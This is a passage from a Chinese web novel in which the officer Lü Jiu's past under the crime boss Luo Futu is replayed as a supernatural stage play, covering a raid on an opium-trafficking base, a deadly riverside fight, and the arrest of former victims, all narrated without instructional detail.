他对那两位老人的印象……不坏,蛮好的,很亲切。如果罗浮屠对岑家有所图,妄想用他牵制岑家。 吕九眼神微冷,即使拼上这条命,他也不会让罗浮屠得逞。 没有鲸鱼看,只能退而求次尝尝鲸鱼形状的点心。谢叙白笑了笑,拿起来咬一口,捧场地赞一声好吃。 吕九回神,见他没有继续抱怨,不知怎的,对自己爽约这事愈发感到亏欠。 适逢酒宴主人特聘的音乐团上台表演,谢叙白暗中释放精神力,为吕九舒缓紧绷的神经。 金光溢散出去,船上无数人如沐春风,一下子就放松了。他们不会怀疑什么,只会归结为音乐团技艺高绝,能宽慰心神。 谢叙白也闭上眼去聆听,眉宇舒展,感受海风从面上拂过的惬意。 一场演奏很快结束,中间停顿的时间有点长,再次响起的,却是一段曲调悠扬婉转的小提琴声。 身边的吕九足足好几分钟没有吭声,不符合对方的性情。谢叙白似有所感地睁眼,发现身边空无一人。 他四下环顾,在位于船头、灯光烂漫的舞台上,和演奏小提琴的年轻刑官对上了眼。 人群中有人惊讶开口。 “天啊,拉得真好。” “感觉灵魂都被触动了。” “这个小提琴手是不是新来的,之前怎么没见到过他……艹,那不是大魔头吕九么?” “你小声点!别让他听见!” 赞叹声此起彼伏,惊异声更显嘹亮。 吕九将一切吵闹置若罔闻,目光越过人潮,只朝谢叙白勾起唇角。 那双莹润的含情目微微上撩,隐约浮现出猩红血色,掩饰的情绪悄然流露。 好似过去和未来重合在一起,幻身与真身彼此交融,有着当前年纪的张扬恣意,亦有着后来历经沧桑的专注深邃。 “呜——” 海面忽然传出一道空灵悠长的嘶鸣,恍若从远古传来。 在场众人忍不住闻声看去。平静的海平面不断涌动,一个庞大到让人震惊的的身躯猛然破开水面,裹挟潮浪冲上苍茫暮色。 不是所有人都有机会了解它是什么,大家只觉得看见了怪物。不少人吓得脸色惨白,大呼小叫。 可鲸鱼置若罔闻,我行我素,巨大如蒲扇的前鳍挥舞,沉入海面,再度跃起,随激荡的浪潮发出嘹亮的轰鸣。白花花的水柱喷出,犹如暴雨漫天急下—— 早在鲸鱼出现的时候,谢叙白就发现了附着在它身上的一层薄薄的红雾。他认出鲸鱼是幻戏主人欲望的化身,也可以称为对方诡化后的本貌。 不用说,定是红雾临时作妖,附了吕九的身。 海风轻拍谢叙白的后背,让他往前多走两步,靠得更近一些。 小提琴曲随之步入高潮,曲调急转而上,似奔涌浪潮,升腾跌宕,穿透耳膜直入心扉。 年轻狱官天生一副动人昳丽的好姿容,这点要多谢他的亲娘。包括他天赋出众,学什么都快,也要感谢他母族这边的基因。 可摈弃这些先天优势,他的毅力、隐忍、百折不挠、勤奋刻苦,才是叫他屹立不倒的底色和根源。 不论处境如何,他都是毋庸置疑的天之骄子。 夕阳沉入天际线,圆月攀升。苍白的月光洒向海面,映照在年轻刑官的发丝、肩骨、深邃的眉眼,背后是欢快挥动长鳍的巨物。 吕九撩开眼帘,大衣翻飞,在鲸鱼兴高采烈的长鸣中,与谢叙白的视线对在一起。 好似心满意足、得偿所愿,他邀功般地扬起下巴,洒意一笑。 瞧,就像我曾经说过的那样。 你不知道鲸鱼有多高兴,只要你来,等多久都愿意。 第150章 荒河巨影 顾家经营多年,在水深的海都占据一席之地,决策成熟手段老练,不会被轻易撼动。家主虽然多疑但绝不昏碌,顾家大少天姿出众,沉稳有度,是一位合格的继承人。 仇人报复,利益分配不均,底下的人中饱私囊……吕九想过很多顾家可能被针对击垮的原因,却一直无果。 直至顾家出事,含旁系子弟和佣人在内的一百多口人被罗浮屠的合伙势力劫杀,又在一场冲天大火中付之一炬,他才在后续调查中瘫软跌坐在椅子上,颓然明了。 顾家什么都没有做错,只是阴差阳错,时势造化,成为上位者权力斗争的牺牲品。而和顾家早早攀结上关系的罗浮屠,不过是正巧充当了这么一把排除异己的刀。 …… 红阴古镇的yin,其实是罂粟的罂。 在吕九他们村子的后山,每至四月暖春临至,一股特殊的气味便将弥漫开来,有人觉得芬芳香甜,有人觉得刺鼻难闻,吕九是后者。 年幼时,他经常看见村人在这股气味的吸引下双眼发直,像失了魂的伥鬼,争相前往后山。锄头担子随手一丢,卧倒在妖异艳丽的花丛,伸长舌头去舔舐果实开裂溢出的汁水。不出一刻钟,便开始瞳孔涣散,无端痴笑,无意识地扒拉领口,好似灼热难耐,在泥地里翻滚蠕动。 若是有人滚得过分了,压垮花朵,他爹就会举着缠绕着尖刺铁丝的扁担棍棒,凶神恶煞地跑出来驱赶。 那一幕倒映在还是幼童的吕九眼中,整个世界好似变成扭曲的漩涡。 漩涡中央,有气急败坏的他爹,有歪七扭八脱光衣服,嘴里念念有词,沉迷陶醉的村人,还有连滚带爬的偷花贼。 扑通一声,偷花贼不小心摔倒了,压倒花束,带出沾着泥土的根。 大朵美艳的花,却有着细软纤长的根,锯齿般贴合在村人的皮肤上。苍白病态的肤色,衬得花开正艳,宛若花的根扎入人的血肉百骸,贪婪地吸食精气。 于是花儿得到滋润,眨眼间便开满一整个山坡。 村子的后山,还有一条河。暖春融冰,河水湍急,行船极快。 在村长的指挥和吕九他爹的监督下,村人会将花陆陆续续地搬上船,从半山腰顺着水流运下,抵达隔壁罗浮屠所在的村镇,再经过秘密加工,由纵横交错的水路秘密发往东西南北各地。或贩售盈利,或制人害人,与村镇的人口贩卖并线发展,早已形成一条庞大罪恶、牵涉范围极大、危害深远的产业线。 …… 仅有两人的室内静得针落可闻。 随着面前男人呼吸的急剧起伏,空气恍若变得沉重凝滞,叫人窒息。 吕九跪在岑家舅舅的脚前,经常含笑的嘴角抿紧成一条绷直的线,脑袋往下埋低,十指无意识地扣紧衣摆。 他以为自己在和盘托出自己的真实身世时,会满腔歉愧,但实则在决意开口说出第一个字的瞬间,大脑就变得一片空白。 他分不清那是羞愧还是别的什么,只是听到心跳得特别快,在胸腔内无措地震响。每一个字都说得很艰难,要用尽全力,指甲深深地掐进肉里,才能逼迫自己完整清晰地说下去。 他已经控制不了自己的语气,更畏惧去看岑家舅舅是什么可怖的神情,吐字像汇报任务那般机械,失了魂儿一般飘忽。 说完后,岑家舅舅还是没吭声。 一切对他来说也是突然的。 多日不见自己的亲外甥,他满心欢喜地赶着来见人,却听吕九说有秘密事相商,让他屏退左右,只留他们二人。 等下人们全部离开,确定无人偷听,吕九噗通一声给他跪下,吓了他一跳。 他不明所以,震惊心疼地上前搀扶,未曾想过,接下来会听到这样一段堪称噩耗的秘辛。 吕九麻木地继续说:“我无意惹您烦心。只是……我与罗浮屠如今已经决裂,为了保守秘密,他们接下来一定会转移阵地,或对我下杀手,永绝后患。” “若是后者还好,若是前者,凭罗浮屠幕后主顾的手笔,想要在他们撤退后再行抓捕,不亚于天方夜谭。就连我,当初也在罗浮屠的手下潜伏了整整八年,才大概摸清他们的路数。更别提这一次打草惊蛇后,他们必定会提高警惕。” 吕九低声道:“我这边联合了不少有志之士,但和罗浮屠背后经营多年的势力比起来,仍旧显得有些捉襟见肘。在岑家生活的这几天,我观察岑家人多忠义,家风克己复礼为仁为德,祖上曾为栋梁,为主君效犬马,收复失地,后继者秉承先祖遗志,有国士之风,我恳请……” 岑家舅舅猝然一拍桌子,打断他的话:“够了!别跟我在这儿装腔作态!要不是你和那姓罗的狗杂种闹翻了,他们想要杀了你灭口,你会把真相说出来吗?还在这里拿大义唬人呢!啊!?” 岑家舅舅磨牙凿齿,冷声质问:“关于你娘……关于我妹妹这些年的遭遇,你有没有透露给其他人?老爷子他们又知道多少?” “……”吕九哑声道,“他们现在年纪大了,加上外婆,老夫人她的心脏不太好,我没敢透露给他们,对外也不曾提起过一星半点。但罗浮屠那边会隐瞒多久……我不知道。” 大片的阴影从头临下,笼罩在吕九的身上。 吕九仿佛能感受到岑家舅舅的目光不再带有温情,冰冷地审视着他。 他忍住心脏的抽痛,取下腰间的配枪,双手往上平举,递交到对方的面前,艰涩地说:“我知道您一定很恨我,也自知罪孽深重。就算您现在杀了我,我也绝无怨言。” “只是罗浮屠那边,若没人前去制止,必将有更多的人受其迫害,痛不欲生,许多无辜的家庭将支离破碎,乃至于动摇国本。” “难道您乐意看见有人经历和……您妹妹一样的痛苦和遭遇吗?难道您就不想血债血偿,手刃仇敌,以告亡者之灵?” 岑家舅舅被这隐含诱导的话戳得内心滴血,用手指着他,脸色发白,手指气得颤抖:“吕九,吕队长,吕大提刑官!” 他冷笑:“果然呐,果然像外面说的那样巧言令色,字字锱铢,轻轻松松拿捏他人软肋——你是不是以为没了你,岑家就对付不了罗浮屠?” 吕九猛地仰起头来,定定地看着那张仇恨的脸,闭上眼,蓦然磕了几个重重的响头:“您相信我,我没有这样想过!如果我真的别有用心,此刻就不会跪在您的面前,也不会将此事掩盖得严严实实。凭借岑家之前的态度,若我想要调遣一支军队为养父家报仇,难道你们会不同意吗?” 他沙哑地说道:“只是罗浮屠那里全是嗜血残暴的亡命之徒,且那毒窝在当地盘踞多年,已成地头蛇,想要铲除,凶险至极。我知道您知道这事,必定要为胞妹复仇,可若是因此遇到危险,老爷子老夫人该怎么办?他们可只剩下您一位亲子!您忍心让他们再度经历丧子之痛吗?” “我不一样,我烂命一条,死了不足为惜。您要是不放心,怕我得到助力后以岑家名义惹是生非,大可以派人随行监察。至于老爷子老夫人那里,我来的时日不长,和他们说不上多亲密,现在离开正好,也不会令两位老人家伤感太久。您大可以告诉他们我就是个冒名图财的小人,被发现后逃之夭夭——” “……舅舅。”吕九忍住眼中热泪,又给他磕了几个头,额头发红,“我亲眼看见娘死在那个地方,无数人被折磨、死不瞑目,而我被罗浮屠裹挟操控多年,常于梦中惊醒心悸,没有一夜能得到好眠,必要为这件事做一个了结。我最后不要脸地叫您一声舅舅,求您怜惜,成全了外甥吧!” 岑家舅舅默然,往前两步,想要说点什么,忽然觉得头晕目眩,往后靠在桌边,掐捏胀痛的眉心。 吕九见状一惊,忙伸手去搀扶他,却骤然被岑家舅舅用力挥开! “我妹妹……”岑家舅舅缓了又缓,脸上没有一丝血色,风马牛不相及地说起旁的事,喃喃低语,“我妹妹风华绝代,在二十年前,是名动荇州的大美人。” “她的才学不下于我,不下于家里的任何人。她七岁识诗书,十五岁在生意场上与那群老狐狸交际,侃侃而谈,不落下风。先生夸她天资聪颖,是经世之才。音乐、礼仪、书法、理财,操持内外,无不精通。生意上出了什么岔子,由她出马,必定能力挽狂澜。家里人遇上什么意外,求她周旋相助,总能化险为夷。” “多少公子少爷痴迷她,吟诗千百、奉金万千,只为博她一笑,求婚的媒人几乎踏破岑家的门槛。她不想那么早结婚,不想被束缚在深宅大院,想先看遍日月山河,阅遍人间风华,我们也宠着她,依着她。” 岑家舅舅低头,看向吕九:“而你……” 听到自己的娘亲曾经竟是这样惊才艳艳的人物,吕九眼眶湿润。被岑家舅舅盯看着,他像是临时接受检阅,肌肉绷紧,心脏一下子提到嗓子眼。 岑家舅舅:“你为什么要回来呢?” 吕九浑似被万箭穿心,当头棒喝,脸色唰一下失去血色。他红眼垂泪,嚅嗫嘴唇:“我……” 岑家舅舅满脸狠色:“你说得对,我妹妹被那个谁,你爹,他叫什么名字来着?哦对,想起来了,吕铁柱,呵——” 念出那三个字的人名时,他语气带着浓浓的讥讽,什么都没说,只是一声冷笑,便述尽轻蔑。 吕九白着脸没说话,听到岑家舅舅继续说:“我妹妹被吕铁柱和罗浮屠谋害,这笔账必须算,算得清清楚楚,明明白白!等会儿我会亲自调遣荇州军待命,急行出击。你随行。” 吕九听他要亲身上阵,错愕道:“你要去?那个地方凶险,全是匪徒!而且你这么大阵仗——” “怕老爷子他们知道?”岑家舅舅嗤笑,甩袖离开前丢下第一句话,“你以为岑家前掌权人和家主夫人是什么人?瞒不住的!” 四日后,荷枪实弹的荇州军乘坐私人舰船,急袭被罗浮屠藏匿于深山老林的大本营。 由于出击迅速,又有早已摸清地势虚实的吕九引路献策,回来销赃、转移财务的罗浮屠来不及撤离,被堵在山岗,又在炮火的轰击下节节败退。 深山树多,又栽种着大片的毒罂花,放火恐有风险。吕九毛遂自荐,率领一支精锐绕后山从崎岖窄道攻入,前后夹击,打了罗浮屠等人一个措手不及。 荇州军乘胜追击,两边交战,皆杀红眼,下了死手,枪林弹雨铺天盖地,呐喊惨叫响彻云霄,死伤不计其数。 罗浮屠大腿受过枪伤,行动不便,在手下的掩护下艰难地转向西边密径,准备沿下流河道撤退。 却不想吕九竟悄无声息地带领半支精锐,脱离大部队,早早地来到河边,等待他的自投罗网。 丛林灌木、半山腰,数名特等射手早已埋伏好,将此地重重包围,便是半只鸟也漏不出去。 罗浮屠看河边的小船被暴力拆毁,船夫被杀,自知已经到了走投无路的境地,被自己养出来的狗反咬一口更叫他恼羞成怒。 他狰狞怒目大喊道:“开枪!杀了这个狗杂碎!杀了他!” 霎时间枪弹齐射。 罗浮屠这边被打死几个人,被他拿来当肉盾护身。吕九借旁边的杂物当掩体,在枪声的掩护下,从左边绕到罗浮屠的身附近,旋即举起枪—— 罗浮屠的手下发现了他,慌张开枪,吕九几乎同时扣响扳机,一枪正中他的脑袋,鲜血炸开。 罗浮屠的最后一名帮手倒下,吕九的右手也被击中,在剧痛中失力松手。可不到百分之一秒,他飞快弯身下腰,左手接住从空中掉落的枪,对着罗浮屠就是一枪! 罗浮屠的身体被尸体挡得严严实实,唯有肩膀和手臂,为开枪而露出半截,而吕九颠簸中仓促开出的这一枪,不偏不倚正中罗浮屠的肩膀! 罗浮屠痛得大喊,丢了枪,电光火石间只见一道人影不顾死活地扑上来,眼神凶煞,爬满红血丝,枪口用力地抵住他的脑门。 罗浮屠惊惧地瞪大眼:“你……” 砰! 没有血花。 吕九手中的枪竟在此刻哑了火! 瞬间罗浮屠的眼中迸出狂喜之色,挥臂将吕九手里的枪打飞,两人激烈地缠斗在一起,泥尘纷飞。 罗浮屠终于从掩体中暴露,一名特等射手正要瞄准,旁边的同伴连忙拦住他,低声强调:“都督早前严令吩咐,必须留下吕九的活口,等他们分开再开枪,别误伤。” 另一人发现吕九行动有恙,蹙紧眉头:“他的腹下是不是中了枪?” 不止他们,罗浮屠也在吕九的身上闻见了浓郁的血腥味。对方额上冷汗密布,招招狠手却使不上力,分明是重伤气虚。 罗浮屠眼珠子一转,对扼住他喉咙的吕九发出狞笑,嘶声竭力地说:“你以为杀掉我,捣毁这个地方,这事,就完了吗?” 吕九不语,只双眼赤红,手背爆出青筋,一个劲儿地用力。 罗浮屠喘不上气,直翻白眼,却看着他笑:“你,你知不知道,你有多像我?” “我曾经,被,老大捡走。老大,把我带在身边,培养我。我把你带着,什么,都教给了你……” “我,杀了老大,留下了我。你,杀,杀了我,留下了,你。” “咳咳咳,小九儿,告诉我,你心里最想,最想怎么搞死我?” 别去听,别去想。 吕九在心里厉声呵斥,让自己不要中了罗浮屠的话术,可当后者说出这些话时,他不受控制地想起曾经亲眼见过的一幕幕惨状。 吕九满是红血丝的眼珠子发直,恨意喷涌。 他想…… 他想把红罂花塞进罗浮屠的嘴里,想将罗浮屠活剖了皮,再把滚烫的热油倾倒在对方的身上,砍掉他的四肢剁成泥喂狗。 他要让罗浮屠痛不欲生,不得好死,要在罗浮屠死后鞭尸,再将他挫骨扬灰。 罗浮屠对上他的眼睛,像是读出他心中所想,癫狂大笑宣布:“小九儿,不愧是我的好孩子,你绝对能成为下一个罗浮屠!” 吕九瞳孔急剧一凝,呼吸凝滞。 它身下的影子忽然痛苦地扭曲起来,身体膨胀变大,逐渐盖过丛林,比楼房还要高大。尾巴和长鳍疯狂拍打地面,痉挛抽搐,像极了一头搁浅的鲸鱼。 罗浮屠趁着吕九刹那失神,猝不及防地掐住他的脖子,将他往河边的方向用力一撞。 吕九仓促扒住河岸边,双手手指深深地掐入阴冷的污黑泥沙,被罗浮屠用力按下脑袋,拍入水面,溅起大片的水花。 腥臭的河水涌入吕九的口鼻,他猝然呛了一口水,冰冷的水流争先恐口地将气腔灌满。他双眼发黑,头晕目眩,在浑浊的河下,隐约看见一团不断蠕动的巨影。 村镇沿河建立,河路分叉极多,平时是村人们赖以生存的水源。 然而这一处下流河无人靠近,只因这里是弃尸埋骨的地方。 河床下水草横生,大大小小的尸骨缠绕在一块,凝聚成不规则的尸团。它们被卡在岩石中,随激荡的暗流不断摇晃。 大部分尸体被鱼吃得差不多了,少部分还残留血肉,但是被泡得肿胀发白。 几双没有瞳孔的眼窟窿往上抬起,看向吕九,只剩枯骨的手臂飘在上方,手指轻晃,仿佛在向他靠近,又仿佛在向他发出无声的邀请。 吕九混乱的视野再次扭曲。 他在浮囊的尸堆里,看到了一道巨影。 九岁的吕九初次登上轮船,躲在货仓。夜深人静,他被冻得睡不着觉,抱着双臂瑟瑟发抖地蜷缩在角落,无意听见外面传来一声空灵的长鸣。 他愕然扭头,通过舷窗看向波光粼粼的海面。月光苍茫静谧,映衬得汹涌的大海如画恬静。 他震撼地看到一只巨物跃出水面换气,遮天蔽日,不受约束,一个起跃,便掀起几丈高的海潮。 他乘坐的大型轮船受到海浪波及,不断摇晃,船员游客纷纷惊醒,在甲板走廊慌张乱跑。 他哇的一声瞪大眼,整张脸贴在玻璃上,小小的手掌也搭上去,双眼放光,亮堂堂,恍惚中将那巨物惊为神祇,心生强烈向往。 后来。 十岁出头的吕九无意在报纸中看见鲸鱼搁浅的报道,错愕发现,原来那样巨大的生物,竟然也会死。 后来。 十二岁的吕九习惯了他人的惨叫。 十三岁的吕九习惯了死亡。 十五岁从军的吕九习惯了杀人。 十六岁的吕九习惯了把人命算作平常的数字。 再后来。 不满十八岁的吕九被罗浮屠按进水里,濒临窒息,恍惚看见一道巨影挤入河道,怎么都出不去。 它疯狂挣扎,结果被嶙峋岩石卡住双鳍,在狭小的河床下越陷越深。 巨影仰头,终是发出一声绝望的鲸鸣。 …… 红阴剧院的剧目表无端抖动,燃起一股火焰。 在高温的烧灼下,票面上《荒河巨影》四个黑色大字如蜡烛般融化,露出底下的真实剧名。 《鲸出大海,困死于河》《 》 150-160 第151章 这是他的罪 谢叙白悬在半空,伸手要将水里的吕九拉上岸,却如同摸进没有实感的幻影,手掌从对方的身体一穿而过。 耳畔传来一段婉转动人的曲调,谢叙白闻声回头。 红影不知何时出现,以山涧青松为戏台,立在不远处唱曲,续说这往昔因果。 以红影为界,世界好似被一分为二。在他身下,是大火滚滚,硝烟弥漫,在他头顶,是凄冷天穹,昏暗无光。 他形单影只地悬在那,好似一支火海中摇曳的枯枝。冷风呼啸而过,金丝红绸的戏袍翻飞,鬓发散乱,寥寥哀寂。 两人视线无声相对。 环绕在红影周边的朦胧雾气逐渐散开,显出真容。只是面具未摘,分不清脸上具体是何种神情。 唯能看到那双狭长的含情目闭了闭,复睁开,冲着谢叙白如常弯起,掠过底下的罗浮屠和吕九,嘴角缀着一丝散漫的笑意。 仿佛在对谢叙白说。 别看了,过往而已。 不值得在意。 眼前的景象一阵摇晃,触目可及的人事物皆变得虚幻透明,代表着这场戏剧已经步入尾声。 然而戏至终幕,故事却没有结束。 红影来到谢叙白的身边,视线下移:“你若要审判我的罪,接下来可得看仔细。” 谢叙白久违地感知到他的情绪不稳。 类似的情绪在吕九第一次杀人时出现过。当时罗浮屠将吕九和其他人逼入囚牢,随手丢进去一把刀,告诉他们只有一人能活,叫他们自相残杀。 谢叙白欲要使用精神力蒙混所有人的认知,红影却突然出现阻拦,笑盈盈地叫他不要管,看清楚一些。 他如同在说旁人的事情般轻松,又仿佛已经诚心诚意地认服,所以能在阐述自己罪孽的同时,大大方方地接受谢叙白的审评。 可红影到底高估了自己,也低估了谢叙白。 那么多年过,他还是做不到在面对过去时心如止水,也不知道谢叙白早已看穿他的外强中干。 ——比起将自己的不堪袒露出来,红影更想拽着谢叙白马上跑,让过去就此蒙尘,什么都不要看见。 什么坦然释然不在意,那都是假的,真实的他还是怯弱得不像话。憎怨过往,憎恶自己,回避事实,害怕谢叙白的疏远厌恶。 谢叙白回看色厉内荏的红影,对上那双无意识轻颤的瞳孔,忽地眉宇轻扬,语气一如既往:“这是当然,毕竟说好了,你的戏我要看全场。” 他没等红影再开腔,探手在对方的腕下虚捞一把,竟凭空捞来一截金色手铐,另一边正铐在红影的手腕上。 红影怔住,蓦然反应过来,冲谢叙白瞪眼:“你——” 开戏前,谢叙白许是看不惯他张狂的样子,将精神力凝实铐住他,不一会儿这副手铐便消失了。 没有重量,没有温度,红影也没感觉到任何不适,只当是个玩笑,没想到这玩意一直在他的手腕上! 红影简直气笑,隐约感到委屈,咬牙切齿地说:“你想看的我都给你看完了,难道你还怕我中途不认账,扭头跑了不成?” “怎么会?跑再远我都能给你抓回来。何况诡王行动范围受限,你也跑不掉。” 谢叙白幽幽一叹:“但你总是怕我会中途跑掉,把你丢在原地置之不理,不是么。” 被一语道破内心所想的红影浑身一僵。 许是他这辈子失去过太多东西,所以对仅剩的一切都偏执到极点,亦容易患得患失,看上去浑不在意,心里早已恐惧了千千万万遍。 谢叙白无奈弯眸:“吕向财,你讲讲道理,八年时间,我陪你从小长到大,要想走早就走了,还会等到现在?还会因后续的几场事件动摇?” 说完,他捞起手铐的另一端,不紧不慢地扣在自己的手腕上。 红影再度一怔,视线不受控制地跟随谢叙白的手指。 如玉指尖往下一按,锁扣咔哒合紧,好似洪钟在耳畔轰然敲响,叫他的大脑一片空白,只余嗡嗡杂音。 他傻愣愣地抬起头,满腔恼怒委屈瞬间变成难言的滋味,一时忘记开口。 谢叙白举起手晃了晃,震感通过镣链传到另一端。红影下意识看向手腕,虚化的手铐突然有了重量和温度,坠在腕骨,传来沉甸甸的暖意。 谢叙白拍拍他的肩膀,淡笑道:“行了,这下你我都跑不掉了,安心看下去吧。” 在罗浮屠将吕九按进水里的几秒后,特等射手找准时机,“砰砰砰!”齐齐开枪,顷刻间将罗浮屠打成个筛子,血雾喷洒。 吕九感受到压力的松动,强忍窒息带来的眩晕,反身一胳膊肘击中罗浮屠的头骨,将人打飞。 他艰难撑起上半身,头发湿哒哒,脸上全是水,呼吸都冒着湿冷的寒气,模模糊糊地看清楚罗浮屠在哪儿,又踉跄地扑过去,牟足劲儿挥拳狠打。 直至拳头上沾满粘腻的血丝,罗浮屠颧骨碎裂,脸上血肉模糊,再无半点声息,吕九才颓然跌坐在地,捂着嘴巴呛咳不止,闭上眼摇摇晃晃地倒在地上。 岑家舅舅带着大部队赶来,一眼瞧见亲兵背上奄奄一息的吕九,急忙将人送进当地医馆。 吕九的状况很不好。 无论是在顾家受教,还是被罗浮屠折磨,亦或是从军履职期间,他一直在受伤,从来没有消停过,后续也没时间安心修养。 于是伤口拖成暗创,积瘀沉疴,令身体不堪重负。如今中枪大出血,更是雪上加霜。他脸色苍白地躺在病床上,呼吸轻得几不可闻,若非检查后还有微弱的心率,几乎叫人以为他早已死去。 医馆大夫和助手为吕九检查伤势,隐约看出他曾经的遭遇,时不时便要错愕心惊。 后续取弹治伤,皆小心谨慎,大气都不敢出一下,生怕伤患在手里咽了气。 然而他们医术用尽,吕九还是不见醒。 由于溺水失温,还未赶到医馆时吕九的身体便发起高热,大夫们下狠药才把温度逼下去。 岂料当天入夜,吕九再次高烧,浑浑噩噩地说起胡话。 大夫从内堂匆匆赶来,正听见吕九嘴里含糊蹦出的几个词,瞬间明了,不免暗暗哀叹,对着旁边脸色黑沉如水的岑家舅舅小心说道:“怕是伤患心存死志,才不愿醒。” “心存死志?”岑家舅舅激动地揪起吕九的衣领,骤然暴怒喝问,“你凭什么?” “你知不知道老爷子得到消息后,半数黑发一夜白头!知不知道老夫人当场心悸昏倒,被送往医院,好险才抢救过来!他们都没有心存死志,你告诉我,你凭什么!?” “你和你那个杂碎爹一样在罗浮屠身边为虎作伥,作恶多端,害了无数人!如今想要轻轻松松地一死了之?我告诉你,天下没有那么便宜的事!你今天就是不想活也得活!” 其他人在旁边听得心惊胆战。岑家舅舅将吕九狠狠地摔在床上,用力地抹了把脸,抬起手臂:“给他用药。” 这药自然不是寻常的药,海外进口,类似不合规的肾上腺素,能够在短时间内大幅度提高人体的生理机能,但也会在药效平复后,对身体造成严重的负担和后遗症。 大夫们被人拦着,制止不能,只能眼睁睁看着针剂扎入吕九的体内。 半针下去,吕九没反应,岑家舅舅皱了皱眉头,让他们把药水推到底。 一针下去,还是没反应,岑家舅舅毫不犹豫地让他们再打一针。 一连打完第三针,吕九突兀睁眼,挣扎着趴在床边,哇的一声吐出大口血,随后开始浑身痉挛、抽搐,忍不住四处翻滚。 他的鬓角爆出青筋,仿佛承受着难以想象的疼痛,痛苦的尖叫几乎要撕裂旁人的耳膜,两个五大三粗的军官差点没能按得住他。 叫过痛过,到了后半夜,吕九终于清醒,浑身上下包括床单全部被汗水湿透,无神地盯着天花板。 大夫怕他脱水,要扶他起身喝水,结果刚碰到他的肩膀,后者就触电般往后狠狠一缩,望着人,近似哀求道:好痛。 吕九从鬼门关走过一遭,还算健壮的身体底子几乎亏了个完全,连起床走路都需要搀扶。 性格也受到影响,以前最爱眯眼假笑,但那几天嘴角绷紧,时常失神地凝视昏沉沉的天空,神情呆怔,不知道在想什么。 罗浮屠身死,手下大部分人落网,少部分已派人前去捉拿。 他的背后是禁物交易,人口贩卖,涉及到一个错综复杂、权力滔天的势力网,后续报复必当接踵而至,岑家舅舅必须尽快回去和本家商讨对策。 临行前,他要将吕九强行带走。 吕九沉默许久,半晌扭过头看着岑家舅舅,挑眉勾唇:“我的伤还没好,舟车劳顿,只会死在半路上,白瞎都督费力找来的天材地宝。” “所以我还是留在这里比较好,省得老爷子老夫人看见我,再被气出个好歹来。” 岑家舅舅意味不明地看着他:“留在这里?你想逃跑?” “……”吕九笑了笑,“腿站在我身上,都督还想要管它往哪儿走么?” 从事实来说,岑家舅舅不认为吕九还有畏罪潜逃的力气,只是听到这混不吝的的话,还是被激得眉头一跳,扭头对自己的副官冷声吩咐:“你留下来,给我看牢他,哪儿都不许去!等伤势好转直接押送荇州。” 见岑家舅舅头也不回地往外走,吕九忽地双手作捧,拘成喇叭状,嬉皮笑脸地喊:“此言差矣啊都督,只看牢我一个可不够,我虽然在罗浮屠手下做事,但大多数时候是受他逼迫,与其他受害者结成了十分深厚的战友情!你要是不管不顾,他们迟早会来救我的!” 岑家舅舅听他瞎吹。 他早已调查过,吕九担任刑官期间热爱独断专行,不留情面,得罪的人不计其数。除却要讨好的上位者,对谁都是颐指气使、阴阳怪气,在海都是出了名的人缘差。除了顾家老四,没有一个走得近的朋友。 若是有朝一日吕九被拉下马,认识他的人只会鼓掌欢迎,大声喝彩。 “欸!欸!您别不相信啊——”吕九见他嗤之以鼻,笑意盈盈地继续喊,“罗浮屠可比一般的坏人恶心多了,那个老不死的热衷于将害过的人‘教养’成自己人,我不就是个明晃晃的例子吗?” “罗浮屠的手下被你抓了、杀了,但那些被关在地牢院子里的可怜虫,我猜你一定没有任何防备,估计早已经送出去一大批。等着吧,不出半个月,他们一定会惹出是非来。” 正如吕九所说的那样,甚至不用半个月。 一名拐儿趁乱逃回家乡,发现正值饥荒,家里缺粮。父母又患上重疾,食不果腹,便连夜前往其他村踩点,最后盯上一个留守老人。 他趁着夜深,周围无人,摸进去偷东西,结果被偶然醒来的老人发现,引发激烈的争执。 最后老人被杀,拐儿带着沾满人血的包袱回家,殷勤得意地傻笑着,将包袱双手捧给饥肠辘辘的父母,父母惊恐地失声大喊,引来村人报官。 类似这样的烧杀劫掠,短短几天就激增了十几二十件,其中近九成的犯案者都是肢体残缺扭曲的异人。甚至有人打着能长寿的旗号,私底下售卖红罂花的果实,不到五天事件,就在黑市里建起一定的规模。 被抓住审问,他们却一脸茫然无辜,理所当然地说这才是生存之道。 无辜的受害者摇身一变成为残忍天真的加害者,如蝗虫般扩散各地,播洒恶果,简直惊世骇俗。 毫无疑问,岑家舅舅被罗浮屠这种险恶的做法震惊住了,得到消息后连忙派人联系当地军官,捉拿这些潜在罪犯。 他回想吕九在病床上信誓旦旦的浅笑,心中生出一阵恶寒。 也是这时,吕九让监视他的副官给岑家带信。 ——那些受害者,一个都不能放过。 “可我们明明是受害者,我们什么都没有做过!” 被抓回来的拐儿目眦欲裂,朝着为首的吕九声嘶力竭地怒吼,眼中溢出痛苦的热泪。 他被拐多年,受尽折磨,遭受毒打,活得不如狗,好不容易才回到家,和憔悴的双亲相聚,好不容易才离开这个地狱,重新看见希望。 他得救后什么错事都没有做,没有杀人,没有偷东西,没有卖花。他扎扎实实做人,脚踏实地做事,前天刚找到一个帮人抄写的差事,他都看见活下去的奔头了,他都努力忽略被打残的腿了,为什么要这么对他?他做错了什么啊?! 吕九默然不语,半晌来到拐儿的面前,低声问:“一只不羡羊,能卖多少?在哪里卖?” 拐儿不假思索,张口便吐出一串数字,又接连说出好几个出售的路数。 吕九垂下眼睫,神情落入阴影,叫人看不分明,只听见他玩味的轻笑:“若身无银钱,遇一富人乘轿路过,如何讨钱最快?” 拐儿回答得比上一个问题还快:“假扮乞丐,上前讨要,观他性情,良善之辈最好对付,可以……” 他忽然注意到身旁官兵复杂的神情,或惊愕厌恶,或痛惜叹气,蓦然反应过来,凉意蹿上后背,改口争辩:“不是这样的,我没有做过啊!我发誓死也不会去做!” 罗浮屠命人拿着烧红的铁棍子,答不出来便抽打一下,有个记性不好的人,甚至被这样活生生打死。 他不得不记住。他只是知道而已,记住而已,他不会做的啊! “可是我们赌不起呀。”吕九微微一笑,不知道是对他说,还是自言自语,每一个字都带着刺骨的寒意,“这世上绝不能出现第二个罗浮屠。” 拐儿看着他的眼睛,慌了,在官兵的手下疯狂挣扎,痛哭流涕,失声大吼:“吕九!吕九!我爹娘找了我足足十年,我让他们担心了足足十年,我得回去!我还没来得及孝敬他们!我会恨你一辈子的,吕九——!” 吕九顿了顿,回头笑道:“行啊,恨我吧。” 那正是他的罪。 所有被罗浮屠“教养”过的人,他不分青红皂白,一应抓来,让他们再次与亲人痛别,白发人送黑发人,哭得肝肠寸断。 